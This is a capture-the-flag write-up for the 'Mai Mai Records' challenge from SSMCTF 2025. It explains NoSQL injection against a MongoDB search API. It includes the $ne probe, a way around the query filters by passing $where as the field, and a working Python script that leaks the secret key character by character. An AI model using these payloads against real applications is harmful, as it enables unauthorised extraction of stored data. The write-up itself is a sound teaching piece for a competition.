Published on: July 12, 2025
5 min read · Posted by yuehab
Mai Mai Records was a NoSQL injection challenge with filters written for the 2025 SSMCTF competition. This is one of the writeups created for the competition
Maimai records
upon entering the webpage, we see two available actions:
Reading the source code reveals that the server uses MongoDB to store player records.
the key is stored in the player record
{'name': 'iamiam', 'song': 'Regulus', 'score': '97.2623', 'key': key}
.
a quick look at the source code tells us we need the key to get the flag
when we input a player name into the searchbar we get every record with the player name that matches
search_term = {field: search_term}
open up burp and we see that when we search for a record with the player name iamiam
the browser sends a get request to
/api/searchapi?field=name&query=iamiam
to test if the server is vulnerable to nosql injection, we input the payload {"$ne": null}
and all records show up.
with this in mind, we craft a boolean attack payload that evaluates conditions using the $where clause
/api/searchapi?field=key&query={key: {"$regex": "1"}}
.
to demonstrate we go to a mongodb online editor and test our boolean attack payload that uses the $regex
evaluation operator that checks if the key starts with "1" {key: {"$regex": "1"}}
However trying it on the actual webpage makes us disappointed
a quick look at the source code tells us that there are many constraints on the things we are allowed to query
query
parameter in the get request can only contain characters in 'abcdefghijklmnopqrstuvwxyz1234567890$"'[]{}: '['$where', '$regex']
cannot appear in the query
params (but can appear in the field
param)therefore i decided to use the "$where" clause as the field, allowing us to execute arbitary javascript. this fits the challenge perfectly.
so first we craft the boolean attack payload as we normally would. then we test it and try to fit it within the constraints of the challenge.
.find({$where: 'if (this.key&&this.key[0] == "1") {return true} else {return false}'})
-> first checks if the record has the field "key", then checks if the key starts with the character 1. if the key does not start with the character '1', we should expect the response to be empty (ie length == 0). else we should expect the response to contain one record.
the algorithm
constraints
in
instead. in javascript the in
keyword checks if a string is in an object..find({$where: 'if (this.key&&this.key[0] in {"1": 1}) {return true} else {return false}'})
.
, we use []
instead..find({$where: 'if (this["key"]&&this["key"][0] in {"1": 1}) {return true} else {return false}'})
.find({$where: '{return this["key"]&&this["key"][0] in {"1": 1}}'} )
try{...} catch {...}
instead of try{...} catch(e) {...}
.find({$where: 'try{return this["key"][0] in {"1": 1}} catch {return false}' })
so I wrote some code to perform the boolean attack and took the output as the key
import requests
import urllib.parse
import string
field = "$where"
def send_bool_payload(char, pos):
query = 'try {{return this["key"]['+ str(pos) + '] in {"'+ char +'":1}}} catch{return false}'
encoded_query = urllib.parse.quote(query)
encoded_field = urllib.parse.quote(field)
URL = f'http://34.124.170.181:10001/api/searchapi?field={encoded_field}&query={encoded_query}'
res = requests.get(URL)
return res.json()
terminate = False
for idx in range(0, 30):
terminate = True
for letter in 'abcdefghijklmnopqrstuvwxyz1234567890$[]{}: ':
a = send_bool_payload(letter, idx)
if not len(a) == 0:
terminate = False
print(letter)
if terminate:
print('ending program')
break
Please login to comment
No comments yet